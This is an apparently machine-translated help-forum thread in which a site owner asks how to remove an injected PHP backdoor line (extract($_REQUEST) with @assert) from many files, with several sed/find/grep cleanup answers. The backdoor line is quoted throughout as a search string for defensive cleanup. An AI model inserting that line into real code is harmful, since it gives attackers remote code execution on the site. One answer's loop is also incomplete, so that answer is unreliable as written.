Comando de Linux para buscar y eliminar texto de varios archivos a la vez

Comando de Linux para buscar y eliminar texto de varios archivos a la vez

Tengo mi sitio infectado por un virus. Este virus agregó esta línea en varios archivos de mi sitio. Mi idea es eliminar esta línea de texto con un comando único desde la terminal.

Digamos que tengo la carpeta 'mi-carpeta' y dentro de ella, mis archivos: 'archivo-1.php', 'archivo-2.php' y así sucesivamente.

Y digamos que hay varios archivos infectados.

¿Existe un comando para buscar y eliminar esta línea de código en varios archivos?En seguida?

Texto a eliminar: extraer($_REQUEST) && @assert(stripslashes($accept)) && exit;

Encontré esto, pero solo funciona con un único archivo:

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

¿Puedo hacer esto?

Respuesta1

  1. Puedes combinarlo sedcon findpara hacerlo recursivo. Algo como eso:

    find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    Tenga en cuenta que recorrerá su árbol de directorios actual y aplicará sed a cada archivo "*php" existente. También creará un archivo de copia de seguridad .bak para cada uno modificado (para que puedas restaurarlo más tarde por si acaso). Si no necesita una copia de seguridad, reemplácela -i.baksolo con -i. De lo contrario, puedes eliminar las copias de seguridad más tarde (una vez que hayas verificado que todo está bien) con algo como find . -name "*php.bak" -delete.

  2. Este paso no te ayudará a arreglar todo ahora mismo, pero definitivamente podría ahorrarte tiempo en el futuro: mantén tu directorio con scripts debajo git(bueno, idealmente debería ser una solución CI/CD completa, pero puedes comenzar solo con git ), para que pueda retroceder o avanzar fácilmente los cambios que se aplicaron a sus archivos.

Respuesta2

Busque archivos que contengan la cadena maliciosa y edítelos con sed:

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

A menudo confío enagpara buscar solo phparchivos con la --phpbandera. Si lo prefieres, puedes lograr lo mismo con grep -r -i --include \*.php:

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

Respuesta3

Dependiendo de tu comando, te sugiero que uses "for loop" para hacerlo:

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

También puedes agregar cualquier archivo que quieras "para i en archivo-1.php archivo-2.php archivo-n.php

Respuesta4

Puede utilizar el siguiente método para eliminar las líneas del archivo que contiene un patrón particular

Puedes mencionar los archivos en el bucle for.

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done

información relacionada